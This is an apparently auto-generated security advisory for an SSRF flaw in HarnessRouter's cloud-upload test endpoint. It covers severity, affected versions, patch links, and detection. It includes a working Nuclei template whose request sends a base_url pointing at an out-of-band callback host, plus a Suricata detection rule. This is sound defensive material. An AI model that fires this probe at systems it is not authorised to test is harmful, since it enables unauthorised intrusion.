CVE-2026-114362: HarnessRouter advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A flaw has been found in HarnessRouter up to 0.31.12. This impacts an unknown function of the file gateway/app.py of the component Targets Test Endpoint. Executing a manipulation of the argument base_url can lead to server-side request forgery. The attack may be performed from remote. Upgrading to version 0.31.13 will fix this issue. This patch is called 1c4b1fc1f89737dabd089ac1d1c174a57f764e28. It is suggested to upgrade the affected component.

Description quoted from the CVE record (assigned by VulDB, published 2026-10-21).

Weakness: Server-Side Request Forgery

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing low privileges and no user interaction. Impact: confidentiality low, integrity low, availability low. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 7 references on Exploit Observer

Live scores

EPSS: 0.002
low predicted chance of attack
VEDAS: 0.988
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
HarnessRouter	version 0.31.0 version 0.31.1 version 0.31.2 version 0.31.3 version 0.31.4 version 0.31.5 version 0.31.6 version 0.31.7 and 5 more ranges	0.31.13 is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Vendor guidance:

https://github.com/HarnessRouter/harnessrouter/pull/429 (issue-tracking, patch)
https://github.com/HarnessRouter/harnessrouter/commit/1c4b1fc1f89737dabd089ac1d1c174a57f764e28 (patch)
https://github.com/HarnessRouter/harnessrouter/releases/tag/v0.31.13 (patch)

How to detect it

Nuclei template (active check)

HarnessRouter - Server-Side Request Forgery
HarnessRouter up to 0.31.12 is vulnerable to server-side request forgery in the cloud-upload target test endpoint (gateway/app.py). The caller-controlled base_url field of a request to /v1/cloud-upload/targets/test is used verbatim to perform an outbound GET to <base_url>/v1/me, allowing a remote attacker to coerce the gateway into issuing HTTP requests to arbitrary hosts.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /v1/cloud-upload/targets/test); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-114362.yaml

Show the template (41 lines)

yaml

id: CVE-2026-114362

info:
  name: "HarnessRouter - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    HarnessRouter up to 0.31.12 is vulnerable to server-side request forgery in the cloud-upload
    target test endpoint (gateway/app.py). The caller-controlled base_url field of a request to
    /v1/cloud-upload/targets/test is used verbatim to perform an outbound GET to <base_url>/v1/me,
    allowing a remote attacker to coerce the gateway into issuing HTTP requests to arbitrary hosts.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-114362&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=harnessrouter&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cve-id: CVE-2026-114362
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,harnessrouter,ssrf,oast,intrusive

http:
  - raw:
      - |
        POST /v1/cloud-upload/targets/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"api_key": "{{randstr}}", "base_url": "http://{{interactsh-url}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
      - type: word
        part: interactsh_request
        words:
          - "/v1/me"

CVE-2026-114362.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-114362 HarnessRouter - Server-Side Request Forgery Attempt. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-114362 HarnessRouter - Server-Side Request Forgery Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/v1/cloud-upload/targets/test"; nocase; fast_pattern; http.request_body; content:"base_url"; nocase; content:"api_key"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-114362; reference:url,https://www.exploit.observer/?keyword=CVE-2026-114362&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=harnessrouter&match=exact; sid:1083000; rev:1;)

CVE-2026-114362.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.